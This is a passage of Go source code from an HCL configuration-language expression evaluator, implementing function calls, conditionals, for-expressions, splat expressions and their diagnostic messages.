len(ctx.Functions)) for name := range ctx.Functions { avail = append(avail, name) } suggestion := nameSuggestion(e.Name, avail) if suggestion != "" { suggestion = fmt.Sprintf(" Did you mean %q?", suggestion) } return cty.DynamicVal, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Call to unknown function", Detail: fmt.Sprintf("There is no function named %q.%s", e.Name, suggestion), Subject: &e.NameRange, Context: e.Range().Ptr(), Expression: e, EvalContext: ctx, }, } } params := f.Params() varParam := f.VarParam() args := e.Args if e.ExpandFinal { if len(args) < 1 { // should never happen if the parser is behaving panic("ExpandFinal set on function call with no arguments") } expandExpr := args[len(args)-1] expandVal, expandDiags := expandExpr.Value(ctx) diags = append(diags, expandDiags...) if expandDiags.HasErrors() { return cty.DynamicVal, diags } switch { case expandVal.Type().Equals(cty.DynamicPseudoType): if expandVal.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid expanding argument value", Detail: "The expanding argument (indicated by ...) must not be null.", Subject: expandExpr.Range().Ptr(), Context: e.Range().Ptr(), Expression: expandExpr, EvalContext: ctx, }) return cty.DynamicVal, diags } return cty.DynamicVal, diags case expandVal.Type().IsTupleType() || expandVal.Type().IsListType() || expandVal.Type().IsSetType(): if expandVal.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid expanding argument value", Detail: "The expanding argument (indicated by ...) must not be null.", Subject: expandExpr.Range().Ptr(), Context: e.Range().Ptr(), Expression: expandExpr, EvalContext: ctx, }) return cty.DynamicVal, diags } if !expandVal.IsKnown() { return cty.DynamicVal, diags } // When expanding arguments from a collection, we must first unmark // the collection itself, and apply any marks directly to the // elements. This ensures that marks propagate correctly. expandVal, marks := expandVal.Unmark() newArgs := make([]Expression, 0, (len(args)-1)+expandVal.LengthInt()) newArgs = append(newArgs, args[:len(args)-1]...) it := expandVal.ElementIterator() for it.Next() { _, val := it.Element() newArgs = append(newArgs, &LiteralValueExpr{ Val: val.WithMarks(marks), SrcRange: expandExpr.Range(), }) } args = newArgs default: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid expanding argument value", Detail: "The expanding argument (indicated by ...) must be of a tuple, list, or set type.", Subject: expandExpr.Range().Ptr(), Context: e.Range().Ptr(), Expression: expandExpr, EvalContext: ctx, }) return cty.DynamicVal, diags } } if len(args) < len(params) { missing := params[len(args)] qual := "" if varParam != nil { qual = " at least" } return cty.DynamicVal, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Not enough function arguments", Detail: fmt.Sprintf( "Function %q expects%s %d argument(s). Missing value for %q.", e.Name, qual, len(params), missing.Name, ), Subject: &e.CloseParenRange, Context: e.Range().Ptr(), Expression: e, EvalContext: ctx, }, } } if varParam == nil && len(args) > len(params) { return cty.DynamicVal, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Too many function arguments", Detail: fmt.Sprintf( "Function %q expects only %d argument(s).", e.Name, len(params), ), Subject: args[len(params)].StartRange().Ptr(), Context: e.Range().Ptr(), Expression: e, EvalContext: ctx, }, } } argVals := make([]cty.Value, len(args)) for i, argExpr := range args { var param *function.Parameter if i < len(params) { param = ¶ms[i] } else { param = varParam } var val cty.Value if decodeFn := customdecode.CustomExpressionDecoderForType(param.Type); decodeFn != nil { var argDiags hcl.Diagnostics val, argDiags = decodeFn(argExpr, ctx) diags = append(diags, argDiags...) if val == cty.NilVal { val = cty.UnknownVal(param.Type) } } else { var argDiags hcl.Diagnostics val, argDiags = argExpr.Value(ctx) if len(argDiags) > 0 { diags = append(diags, argDiags...) } // Try to convert our value to the parameter type var err error val, err = convert.Convert(val, param.Type) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid function argument", Detail: fmt.Sprintf( "Invalid value for %q parameter: %s.", param.Name, err, ), Subject: argExpr.StartRange().Ptr(), Context: e.Range().Ptr(), Expression: argExpr, EvalContext: ctx, }) } } argVals[i] = val } if diags.HasErrors() { // Don't try to execute the function if we already have errors with // the arguments, because the result will probably be a confusing // error message. return cty.DynamicVal, diags } resultVal, err := f.Call(argVals) if err != nil { switch terr := err.(type) { case function.ArgError: i := terr.Index var param *function.Parameter if i < len(params) { param = ¶ms[i] } else { param = varParam } if param == nil || i > len(args)-1 { // Getting here means that the function we called has a bug: // it returned an arg error that refers to an argument index // that wasn't present in the call. For that situation // we'll degrade to a less specific error just to give // some sort of answer, but best to still fix the buggy // function so that it only returns argument indices that // are in range. switch { case param != nil: // In this case we'll assume that the function was trying // to talk about a final variadic parameter but the caller // didn't actually provide any arguments for it. That means // we can at least still name the parameter in the // error message, but our source range will be the call // as a whole because we don't have an argument expression // to highlight specifically. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid function argument", Detail: fmt.Sprintf( "Invalid value for %q parameter: %s.", param.Name, err, ), Subject: e.Range().Ptr(), Expression: e, EvalContext: ctx, }) default: // This is the most degenerate case of all, where the // index is out of range even for the declared parameters, // and so we can't tell which parameter the function is // trying to report an error for. Just a generic error // report in that case. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Error in function call", Detail: fmt.Sprintf( "Call to function %q failed: %s.", e.Name, err, ), Subject: e.StartRange().Ptr(), Context: e.Range().Ptr(), Expression: e, EvalContext: ctx, }) } } else { argExpr := args[i] // TODO: we should also unpick a PathError here and show the // path to the deep value where the error was detected. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid function argument", Detail: fmt.Sprintf( "Invalid value for %q parameter: %s.", param.Name, err, ), Subject: argExpr.StartRange().Ptr(), Context: e.Range().Ptr(), Expression: argExpr, EvalContext: ctx, }) } default: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Error in function call", Detail: fmt.Sprintf( "Call to function %q failed: %s.", e.Name, err, ), Subject: e.StartRange().Ptr(), Context: e.Range().Ptr(), Expression: e, EvalContext: ctx, }) } return cty.DynamicVal, diags } return resultVal, diags } func (e *FunctionCallExpr) Range() hcl.Range { return hcl.RangeBetween(e.NameRange, e.CloseParenRange) } func (e *FunctionCallExpr) StartRange() hcl.Range { return hcl.RangeBetween(e.NameRange, e.OpenParenRange) } // Implementation for hcl.ExprCall. func (e *FunctionCallExpr) ExprCall() *hcl.StaticCall { ret := &hcl.StaticCall{ Name: e.Name, NameRange: e.NameRange, Arguments: make([]hcl.Expression, len(e.Args)), ArgsRange: hcl.RangeBetween(e.OpenParenRange, e.CloseParenRange), } // Need to convert our own Expression objects into hcl.Expression. for i, arg := range e.Args { ret.Arguments[i] = arg } return ret } type ConditionalExpr struct { Condition Expression TrueResult Expression FalseResult Expression SrcRange hcl.Range } func (e *ConditionalExpr) walkChildNodes(w internalWalkFunc) { w(e.Condition) w(e.TrueResult) w(e.FalseResult) } func (e *ConditionalExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { trueResult, trueDiags := e.TrueResult.Value(ctx) falseResult, falseDiags := e.FalseResult.Value(ctx) var diags hcl.Diagnostics resultType := cty.DynamicPseudoType convs := make([]convert.Conversion, 2) switch { // If either case is a dynamic null value (which would result from a // literal null in the config), we know that it can convert to the expected // type of the opposite case, and we don't need to speculatively reduce the // final result type to DynamicPseudoType. // If we know that either Type is a DynamicPseudoType, we can be certain // that the other value can convert since it's a pass-through, and we don't // need to unify the types. If the final evaluation results in the dynamic // value being returned, there's no conversion we can do, so we return the // value directly. case trueResult.RawEquals(cty.NullVal(cty.DynamicPseudoType)): resultType = falseResult.Type() convs[0] = convert.GetConversionUnsafe(cty.DynamicPseudoType, resultType) case falseResult.RawEquals(cty.NullVal(cty.DynamicPseudoType)): resultType = trueResult.Type() convs[1] = convert.GetConversionUnsafe(cty.DynamicPseudoType, resultType) case trueResult.Type() == cty.DynamicPseudoType, falseResult.Type() == cty.DynamicPseudoType: // the final resultType type is still unknown // we don't need to get the conversion, because both are a noop. default: // Try to find a type that both results can be converted to. resultType, convs = convert.UnifyUnsafe([]cty.Type{trueResult.Type(), falseResult.Type()}) } if resultType == cty.NilType { return cty.DynamicVal, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Inconsistent conditional result types", Detail: fmt.Sprintf( // FIXME: Need a helper function for showing natural-language type diffs, // since this will generate some useless messages in some cases, like // "These expressions are object and object respectively" if the // object types don't exactly match. "The true and false result expressions must have consistent types. The given expressions are %s and %s, respectively.", trueResult.Type().FriendlyName(), falseResult.Type().FriendlyName(), ), Subject: hcl.RangeBetween(e.TrueResult.Range(), e.FalseResult.Range()).Ptr(), Context: &e.SrcRange, Expression: e, EvalContext: ctx, }, } } condResult, condDiags := e.Condition.Value(ctx) diags = append(diags, condDiags...) if condResult.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Null condition", Detail: "The condition value is null. Conditions must either be true or false.", Subject: e.Condition.Range().Ptr(), Context: &e.SrcRange, Expression: e.Condition, EvalContext: ctx, }) return cty.UnknownVal(resultType), diags } if !condResult.IsKnown() { return cty.UnknownVal(resultType), diags } condResult, err := convert.Convert(condResult, cty.Bool) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Incorrect condition type", Detail: fmt.Sprintf("The condition expression must be of type bool."), Subject: e.Condition.Range().Ptr(), Context: &e.SrcRange, Expression: e.Condition, EvalContext: ctx, }) return cty.UnknownVal(resultType), diags } // Unmark result before testing for truthiness condResult, _ = condResult.UnmarkDeep() if condResult.True() { diags = append(diags, trueDiags...) if convs[0] != nil { var err error trueResult, err = convs[0](trueResult) if err != nil { // Unsafe conversion failed with the concrete result value diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Inconsistent conditional result types", Detail: fmt.Sprintf( "The true result value has the wrong type: %s.", err.Error(), ), Subject: e.TrueResult.Range().Ptr(), Context: &e.SrcRange, Expression: e.TrueResult, EvalContext: ctx, }) trueResult = cty.UnknownVal(resultType) } } return trueResult, diags } else { diags = append(diags, falseDiags...) if convs[1] != nil { var err error falseResult, err = convs[1](falseResult) if err != nil { // Unsafe conversion failed with the concrete result value diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Inconsistent conditional result types", Detail: fmt.Sprintf( "The false result value has the wrong type: %s.", err.Error(), ), Subject: e.FalseResult.Range().Ptr(), Context: &e.SrcRange, Expression: e.FalseResult, EvalContext: ctx, }) falseResult = cty.UnknownVal(resultType) } } return falseResult, diags } } func (e *ConditionalExpr) Range() hcl.Range { return e.SrcRange } func (e *ConditionalExpr) StartRange() hcl.Range { return e.Condition.StartRange() } type IndexExpr struct { Collection Expression Key Expression SrcRange hcl.Range OpenRange hcl.Range BracketRange hcl.Range } func (e *IndexExpr) walkChildNodes(w internalWalkFunc) { w(e.Collection) w(e.Key) } func (e *IndexExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics coll, collDiags := e.Collection.Value(ctx) key, keyDiags := e.Key.Value(ctx) diags = append(diags, collDiags...) diags = append(diags, keyDiags...) val, indexDiags := hcl.Index(coll, key, &e.BracketRange) setDiagEvalContext(indexDiags, e, ctx) diags = append(diags, indexDiags...) return val, diags } func (e *IndexExpr) Range() hcl.Range { return e.SrcRange } func (e *IndexExpr) StartRange() hcl.Range { return e.OpenRange } type TupleConsExpr struct { Exprs []Expression SrcRange hcl.Range OpenRange hcl.Range } func (e *TupleConsExpr) walkChildNodes(w internalWalkFunc) { for _, expr := range e.Exprs { w(expr) } } func (e *TupleConsExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var vals []cty.Value var diags hcl.Diagnostics vals = make([]cty.Value, len(e.Exprs)) for i, expr := range e.Exprs { val, valDiags := expr.Value(ctx) vals[i] = val diags = append(diags, valDiags...) } return cty.TupleVal(vals), diags } func (e *TupleConsExpr) Range() hcl.Range { return e.SrcRange } func (e *TupleConsExpr) StartRange() hcl.Range { return e.OpenRange } // Implementation for hcl.ExprList func (e *TupleConsExpr) ExprList() []hcl.Expression { ret := make([]hcl.Expression, len(e.Exprs)) for i, expr := range e.Exprs { ret[i] = expr } return ret } type ObjectConsExpr struct { Items []ObjectConsItem SrcRange hcl.Range OpenRange hcl.Range } type ObjectConsItem struct { KeyExpr Expression ValueExpr Expression } func (e *ObjectConsExpr) walkChildNodes(w internalWalkFunc) { for _, item := range e.Items { w(item.KeyExpr) w(item.ValueExpr) } } func (e *ObjectConsExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var vals map[string]cty.Value var diags hcl.Diagnostics var marks []cty.ValueMarks // This will get set to true if we fail to produce any of our keys, // either because they are actually unknown or if the evaluation produces // errors. In all of these case we must return DynamicPseudoType because // we're unable to know the full set of keys our object has, and thus // we can't produce a complete value of the intended type. // // We still evaluate all of the item keys and values to make sure that we // get as complete as possible a set of diagnostics. known := true vals = make(map[string]cty.Value, len(e.Items)) for _, item := range e.Items { key, keyDiags := item.KeyExpr.Value(ctx) diags = append(diags, keyDiags...) val, valDiags := item.ValueExpr.Value(ctx) diags = append(diags, valDiags...) if keyDiags.HasErrors() { known = false continue } if key.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Null value as key", Detail: "Can't use a null value as a key.", Subject: item.ValueExpr.Range().Ptr(), Expression: item.KeyExpr, EvalContext: ctx, }) known = false continue } key, keyMarks := key.Unmark() marks = append(marks, keyMarks) var err error key, err = convert.Convert(key, cty.String) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Incorrect key type", Detail: fmt.Sprintf("Can't use this value as a key: %s.", err.Error()), Subject: item.KeyExpr.Range().Ptr(), Expression: item.KeyExpr, EvalContext: ctx, }) known = false continue } if !key.IsKnown() { known = false continue } keyStr := key.AsString() vals[keyStr] = val } if !known { return cty.DynamicVal, diags } return cty.ObjectVal(vals).WithMarks(marks...), diags } func (e *ObjectConsExpr) Range() hcl.Range { return e.SrcRange } func (e *ObjectConsExpr) StartRange() hcl.Range { return e.OpenRange } // Implementation for hcl.ExprMap func (e *ObjectConsExpr) ExprMap() []hcl.KeyValuePair { ret := make([]hcl.KeyValuePair, len(e.Items)) for i, item := range e.Items { ret[i] = hcl.KeyValuePair{ Key: item.KeyExpr, Value: item.ValueExpr, } } return ret } // ObjectConsKeyExpr is a special wrapper used only for ObjectConsExpr keys, // which deals with the special case that a naked identifier in that position // must be interpreted as a literal string rather than evaluated directly. type ObjectConsKeyExpr struct { Wrapped Expression ForceNonLiteral bool } func (e *ObjectConsKeyExpr) literalName() string { // This is our logic for deciding whether to behave like a literal string. // We lean on our AbsTraversalForExpr implementation here, which already // deals with some awkward cases like the expression being the result // of the keywords "null", "true" and "false" which we'd want to interpret // as keys here too. return hcl.ExprAsKeyword(e.Wrapped) } func (e *ObjectConsKeyExpr) walkChildNodes(w internalWalkFunc) { // We only treat our wrapped expression as a real expression if we're // not going to interpret it as a literal. if e.literalName() == "" { w(e.Wrapped) } } func (e *ObjectConsKeyExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { // Because we accept a naked identifier as a literal key rather than a // reference, it's confusing to accept a traversal containing periods // here since we can't tell if the user intends to create a key with // periods or actually reference something. To avoid confusing downstream // errors we'll just prohibit a naked multi-step traversal here and // require the user to state their intent more clearly. // (This is handled at evaluation time rather than parse time because // an application using static analysis _can_ accept a naked multi-step // traversal here, if desired.) if !e.ForceNonLiteral { if travExpr, isTraversal := e.Wrapped.(*ScopeTraversalExpr); isTraversal && len(travExpr.Traversal) > 1 { var diags hcl.Diagnostics diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Ambiguous attribute key", Detail: "If this expression is intended to be a reference, wrap it in parentheses. If it's instead intended as a literal name containing periods, wrap it in quotes to create a string literal.", Subject: e.Range().Ptr(), }) return cty.DynamicVal, diags } if ln := e.literalName(); ln != "" { return cty.StringVal(ln), nil } } return e.Wrapped.Value(ctx) } func (e *ObjectConsKeyExpr) Range() hcl.Range { return e.Wrapped.Range() } func (e *ObjectConsKeyExpr) StartRange() hcl.Range { return e.Wrapped.StartRange() } // Implementation for hcl.AbsTraversalForExpr. func (e *ObjectConsKeyExpr) AsTraversal() hcl.Traversal { // If we're forcing a non-literal then we can never be interpreted // as a traversal. if e.ForceNonLiteral { return nil } // We can produce a traversal only if our wrappee can. st, diags := hcl.AbsTraversalForExpr(e.Wrapped) if diags.HasErrors() { return nil } return st } func (e *ObjectConsKeyExpr) UnwrapExpression() Expression { return e.Wrapped } // ForExpr represents iteration constructs: // // tuple = [for i, v in list: upper(v) if i > 2] // object = {for k, v in map: k => upper(v)} // object_of_tuples = {for v in list: v.key: v...} type ForExpr struct { KeyVar string // empty if ignoring the key ValVar string CollExpr Expression KeyExpr Expression // nil when producing a tuple ValExpr Expression CondExpr Expression // null if no "if" clause is present Group bool // set if the ellipsis is used on the value in an object for SrcRange hcl.Range OpenRange hcl.Range CloseRange hcl.Range } func (e *ForExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics var marks []cty.ValueMarks collVal, collDiags := e.CollExpr.Value(ctx) diags = append(diags, collDiags...) if collVal.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Iteration over null value", Detail: "A null value cannot be used as the collection in a 'for' expression.", Subject: e.CollExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.CollExpr, EvalContext: ctx, }) return cty.DynamicVal, diags } if collVal.Type() == cty.DynamicPseudoType { return cty.DynamicVal, diags } // Unmark collection before checking for iterability, because marked // values cannot be iterated collVal, collMarks := collVal.Unmark() marks = append(marks, collMarks) if !collVal.CanIterateElements() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Iteration over non-iterable value", Detail: fmt.Sprintf( "A value of type %s cannot be used as the collection in a 'for' expression.", collVal.Type().FriendlyName(), ), Subject: e.CollExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.CollExpr, EvalContext: ctx, }) return cty.DynamicVal, diags } if !collVal.IsKnown() { return cty.DynamicVal, diags } // Before we start we'll do an early check to see if any CondExpr we've // been given is of the wrong type. This isn't 100% reliable (it may // be DynamicVal until real values are given) but it should catch some // straightforward cases and prevent a barrage of repeated errors. if e.CondExpr != nil { childCtx := ctx.NewChild() childCtx.Variables = map[string]cty.Value{} if e.KeyVar != "" { childCtx.Variables[e.KeyVar] = cty.DynamicVal } childCtx.Variables[e.ValVar] = cty.DynamicVal result, condDiags := e.CondExpr.Value(childCtx) diags = append(diags, condDiags...) if result.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Condition is null", Detail: "The value of the 'if' clause must not be null.", Subject: e.CondExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.CondExpr, EvalContext: ctx, }) return cty.DynamicVal, diags } _, err := convert.Convert(result, cty.Bool) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' condition", Detail: fmt.Sprintf("The 'if' clause value is invalid: %s.", err.Error()), Subject: e.CondExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.CondExpr, EvalContext: ctx, }) return cty.DynamicVal, diags } if condDiags.HasErrors() { return cty.DynamicVal, diags } } if e.KeyExpr != nil { // Producing an object var vals map[string]cty.Value var groupVals map[string][]cty.Value if e.Group { groupVals = map[string][]cty.Value{} } else { vals = map[string]cty.Value{} } it := collVal.ElementIterator() known := true for it.Next() { k, v := it.Element() childCtx := ctx.NewChild() childCtx.Variables = map[string]cty.Value{} if e.KeyVar != "" { childCtx.Variables[e.KeyVar] = k } childCtx.Variables[e.ValVar] = v if e.CondExpr != nil { includeRaw, condDiags := e.CondExpr.Value(childCtx) diags = append(diags, condDiags...) if includeRaw.IsNull() { if known { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' condition", Detail: "The value of the 'if' clause must not be null.", Subject: e.CondExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.CondExpr, EvalContext: childCtx, }) } known = false continue } include, err := convert.Convert(includeRaw, cty.Bool) if err != nil { if known { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' condition", Detail: fmt.Sprintf("The 'if' clause value is invalid: %s.", err.Error()), Subject: e.CondExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.CondExpr, EvalContext: childCtx, }) } known = false continue } if !include.IsKnown() { known = false continue } // Extract and merge marks from the include expression into the // main set of marks includeUnmarked, includeMarks := include.Unmark() marks = append(marks, includeMarks) if includeUnmarked.False() { // Skip this element continue } } keyRaw, keyDiags := e.KeyExpr.Value(childCtx) diags = append(diags, keyDiags...) if keyRaw.IsNull() { if known { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid object key", Detail: "Key expression in 'for' expression must not produce a null value.", Subject: e.KeyExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.KeyExpr, EvalContext: childCtx, }) } known = false continue } if !keyRaw.IsKnown() { known = false continue } key, err := convert.Convert(keyRaw, cty.String) if err != nil { if known { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid object key", Detail: fmt.Sprintf("The key expression produced an invalid result: %s.", err.Error()), Subject: e.KeyExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.KeyExpr, EvalContext: childCtx, }) } known = false continue } key, keyMarks := key.Unmark() marks = append(marks, keyMarks) val, valDiags := e.ValExpr.Value(childCtx) diags = append(diags, valDiags...) if e.Group { k := key.AsString() groupVals[k] = append(groupVals[k], val) } else { k := key.AsString() if _, exists := vals[k]; exists { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Duplicate object key", Detail: fmt.Sprintf( "Two different items produced the key %q in this 'for' expression. If duplicates are expected, use the ellipsis (...) after the value expression to enable grouping by key.", k, ), Subject: e.KeyExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.KeyExpr, EvalContext: childCtx, }) } else { vals[key.AsString()] = val } } } if !known { return cty.DynamicVal, diags } if e.Group { vals = map[string]cty.Value{} for k, gvs := range groupVals { vals[k] = cty.TupleVal(gvs) } } return cty.ObjectVal(vals).WithMarks(marks...), diags } else { // Producing a tuple vals := []cty.Value{} it := collVal.ElementIterator() known := true for it.Next() { k, v := it.Element() childCtx := ctx.NewChild() childCtx.Variables = map[string]cty.Value{} if e.KeyVar != "" { childCtx.Variables[e.KeyVar] = k } childCtx.Variables[e.ValVar] = v if e.CondExpr != nil { includeRaw, condDiags := e.CondExpr.Value(childCtx) diags = append(diags, condDiags...) if includeRaw.IsNull() { if known { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' condition", Detail: "The value of the 'if' clause must not be null.", Subject: e.CondExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.CondExpr, EvalContext: childCtx, }) } known = false continue } if !includeRaw.IsKnown() { // We will eventually return DynamicVal, but we'll continue // iterating in case there are other diagnostics to gather // for later elements. known = false continue } include, err := convert.Convert(includeRaw, cty.Bool) if err != nil { if known { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' condition", Detail: fmt.Sprintf("The 'if' clause value is invalid: %s.", err.Error()), Subject: e.CondExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.CondExpr, EvalContext: childCtx, }) } known = false continue } // Extract and merge marks from the include expression into the // main set of marks includeUnmarked, includeMarks := include.Unmark() marks = append(marks, includeMarks) if includeUnmarked.False() { // Skip this element continue } } val, valDiags := e.ValExpr.Value(childCtx) diags = append(diags, valDiags...) vals = append(vals, val) } if !known { return cty.DynamicVal, diags } return cty.TupleVal(vals).WithMarks(marks...), diags } } func (e *ForExpr) walkChildNodes(w internalWalkFunc) { w(e.CollExpr) scopeNames := map[string]struct{}{} if e.KeyVar != "" { scopeNames[e.KeyVar] = struct{}{} } if e.ValVar != "" { scopeNames[e.ValVar] = struct{}{} } if e.KeyExpr != nil { w(ChildScope{ LocalNames: scopeNames, Expr: e.KeyExpr, }) } w(ChildScope{ LocalNames: scopeNames, Expr: e.ValExpr, }) if e.CondExpr != nil { w(ChildScope{ LocalNames: scopeNames, Expr: e.CondExpr, }) } } func (e *ForExpr) Range() hcl.Range { return e.SrcRange } func (e *ForExpr) StartRange() hcl.Range { return e.OpenRange } type SplatExpr struct { Source Expression Each Expression Item *AnonSymbolExpr SrcRange hcl.Range MarkerRange hcl.Range } func (e *SplatExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { sourceVal, diags := e.Source.Value(ctx) if diags.HasErrors() { // We'll evaluate our "Each" expression here just to see if it // produces any more diagnostics we can report. Since we're not // assigning a value to our AnonSymbolExpr here it will return // DynamicVal, which should short-circuit any use of it. _, itemDiags := e.Item.Value(ctx) diags = append(diags, itemDiags...) return cty.DynamicVal, diags } sourceTy := sourceVal.Type() // A "special power" of splat expressions is that they can be applied // both to tuples/lists and to other values, and in the latter case // the value will be treated as an implicit single-item tuple, or as // an empty tuple if the value is null. autoUpgrade := !(sourceTy.IsTupleType() || sourceTy.IsListType() || sourceTy.IsSetType()) if sourceVal.IsNull() { if autoUpgrade { return cty.EmptyTupleVal, diags } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Splat of null value", Detail: "Splat expressions (with the * symbol) cannot be applied to null sequences.", Subject: e.Source.Range().Ptr(), Context: hcl.RangeBetween(e.Source.Range(), e.MarkerRange).Ptr(), Expression: e.Source, EvalContext: ctx, }) return cty.DynamicVal, diags } if sourceTy == cty.DynamicPseudoType { // If we don't even know the _type_ of our source value yet then // we'll need to defer all processing, since we can't decide our // result type either. return cty.DynamicVal, diags } if autoUpgrade { sourceVal = cty.TupleVal([]cty.Value{sourceVal}) sourceTy = sourceVal.Type() } // We'll compute our result type lazily if we need it. In the normal case // it's inferred automatically from the value we construct. resultTy := func() (cty.Type, hcl.Diagnostics) { chiCtx := ctx.NewChild() var diags hcl.Diagnostics switch { case sourceTy.IsListType() || sourceTy.IsSetType(): ety := sourceTy.ElementType() e.Item.setValue(chiCtx, cty.UnknownVal(ety)) val, itemDiags := e.Each.Value(chiCtx) diags = append(diags, itemDiags...) e.Item.clearValue(chiCtx) // clean up our temporary value return cty.List(val.Type()), diags case sourceTy.IsTupleType(): etys := sourceTy.TupleElementTypes() resultTys := make([]cty.Type, 0, len(etys)) for _, ety := range etys { e.Item.setValue(chiCtx, cty.UnknownVal(ety)) val, itemDiags := e.Each.Value(chiCtx) diags = append(diags, itemDiags...) e.Item.clearValue(chiCtx) // clean up our temporary value resultTys = append(resultTys, val.Type()) } return cty.Tuple(resultTys), diags default: // Should never happen because of our promotion to list above. return cty.DynamicPseudoType, diags } } if !sourceVal.IsKnown() { // We can't produce a known result in this case, but we'll still // indicate what the result type would be, allowing any downstream type // checking to proceed. ty, tyDiags := resultTy() diags = append(diags, tyDiags...) return cty.UnknownVal(ty), diags } // Unmark the collection, and save the marks to apply to the returned // collection result sourceVal, marks := sourceVal.Unmark() vals := make([]cty.Value, 0, sourceVal.LengthInt()) it := sourceVal.ElementIterator() if ctx == nil { // we need a context to use our AnonSymbolExpr, so we'll just // make an empty one here to use as a placeholder. ctx = ctx.NewChild() } isKnown := true for it.Next() { _, sourceItem := it.Element() e.Item.setValue(ctx, sourceItem) newItem, itemDiags := e.Each.Value(ctx) diags = append(diags, itemDiags...) if itemDiags.HasErrors() { isKnown = false } vals = append(vals, newItem) } e.Item.clearValue(ctx) // clean up our temporary value if !isKnown { // We'll ignore the resultTy diagnostics in this case since they // will just be the same errors we saw while iterating above. ty, _ := resultTy() return cty.UnknownVal(ty), diags } switch { case sourceTy.IsListType() || sourceTy.IsSetType(): if len(vals) == 0 { ty, tyDiags := resultTy() diags = append(diags, tyDiags...) return cty.ListValEmpty(ty.ElementType()), diags } return cty.ListVal(vals).WithMarks(marks), diags default: return cty.TupleVal(vals).WithMarks(marks), diags } } func (e *SplatExpr) walkChildNodes(w internalWalkFunc) { w(e.Source) w(e.Each) } func (e *SplatExpr) Range() hcl.Range { return e.SrcRange } func (e *SplatExpr) StartRange() hcl.Range { return e.MarkerRange } // AnonSymbolExpr is used as a placeholder for a value in an expression that // can be applied dynamically to any value at runtime. // // This is a rather odd, synthetic expression. It is used as part of the // representation of splat expressions as a placeholder for the current item // being visited in the splat evaluation. // // AnonSymbolExpr cannot be evaluated in isolation. If its Value is called // directly then cty.DynamicVal will be returned. Instead, it is evaluated // in terms of another node (i.e. a splat expression) which temporarily // assigns it a value. type AnonSymbolExpr struct { SrcRange hcl.Range // values and its associated lock are used to isolate concurrent // evaluations of a symbol from one another. It is the calling application's // responsibility to ensure that the same splat expression is not evalauted // concurrently within the _same_ EvalContext, but it is fine and safe to // do cuncurrent evaluations with distinct EvalContexts. values map[*hcl.EvalContext]cty.Value valuesLock sync.RWMutex } func (e *AnonSymbolExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { if ctx == nil { return cty.DynamicVal, nil } e.valuesLock.RLock() defer e.valuesLock.RUnlock() val, exists := e.values[ctx] if !exists { return cty.DynamicVal, nil } return val, nil } // setValue sets a temporary local value for the expression when evaluated // in the given context, which must be non-nil. func (e *AnonSymbolExpr) setValue(ctx *hcl.EvalContext, val cty.Value) { e.valuesLock.Lock() defer e.valuesLock.Unlock() if e.values == nil { e.values = make(map[*hcl.EvalContext]cty.Value) } if ctx == nil { panic("can't setValue for a nil EvalContext") } e.values[ctx] = val } func (e *AnonSymbolExpr) clearValue(ctx 